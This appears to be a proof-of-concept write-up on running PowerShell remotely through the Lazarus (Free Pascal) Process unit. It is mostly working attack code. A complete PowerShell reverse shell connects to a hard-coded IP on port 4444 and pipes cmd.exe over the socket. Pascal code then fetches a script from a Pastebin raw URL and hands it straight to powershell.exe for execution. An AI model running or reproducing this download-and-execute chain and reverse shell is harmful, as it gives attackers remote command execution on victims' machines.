Remote Powershell execution via Lazarus Process unit

POC

Powershell reverse shell code

function cln{if($c.Connected -eq $true){$c.Close()};if($p.ExitCode -ne $null){$p.Close()};exit};$c=New-Object System.Net.Sockets.TcpClient;$c.Connect('192.168.81.171',4444);if($c.Connected -ne $true){cln};$s=$c.GetStream();$b=New-Object System.Byte[] $c.ReceiveBufferSize;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;Start-Sleep 1;$e=New-Object System.Text.AsciiEncoding;while($os.Peek()-ne -1){$o+=$e.GetString($os.Read())};$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;while($true){if($c.Connected -ne $true){cln};$pos=0;$i=1;while(($i -gt 0)-and($pos -lt $b.Length)){$read=$s.Read($b,$pos,$b.Length -$pos);$pos+=$read;if($pos -and($nb[0..$($pos-1)]-contains 10)){break};if($pos -gt 0){$str=$e.GetString($b,0,$pos);$is.Write($str);Start-Sleep 1;if($p.ExitCode -ne $null){cln}else{$o=$e.GetString($os.Read());while($os.Peek()-ne -1){$o+=$e.GetString($os.Read());if($o -eq $str){$o=''}};$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;$str=$null}}else{cln}}};

Retrieve RAW content from URL

we have first to retrieve the content of Powershell script which hosted on pastebin , the goal to make sure to avoid terminator parsing errors

function getscript:string;
var
FPHTTPClient: TFPHTTPClient;
Resultget : string;
begin
FPHTTPClient := TFPHTTPClient.Create(nil);
FPHTTPClient.AllowRedirect := True;
try
Resultget := FPHTTPClient.Get('https://pastebin.com/raw/bLmbskaR'); // test URL, real one is HTTPS
getscript := Resultget;
writeln(getscript);
except
on E: exception do
writeln(E.Message);
end;
FPHTTPClient.Free;
end;

result of content will be passed into Lazarus Process unit, which will be responsible for Powershell execution . the helpful thing about process.pas is to allow execution with parameters or commands . so in our case we will only use parameter option to pass the retrieved content into executable .

procedure powershell.powershell;
var
process :Tprocess;
pwn:string;
begin
pwn := getscript;
process := Tprocess.Create(nil);
process.Executable:='powershell.exe'; // exectuable to use
process.Parameters.Add(trim(pwn)); // here trim to avoid parsing errors
try
process.Execute;
finally
process.free;
end;

https://wiki.freepascal.org/Executing_External_Programs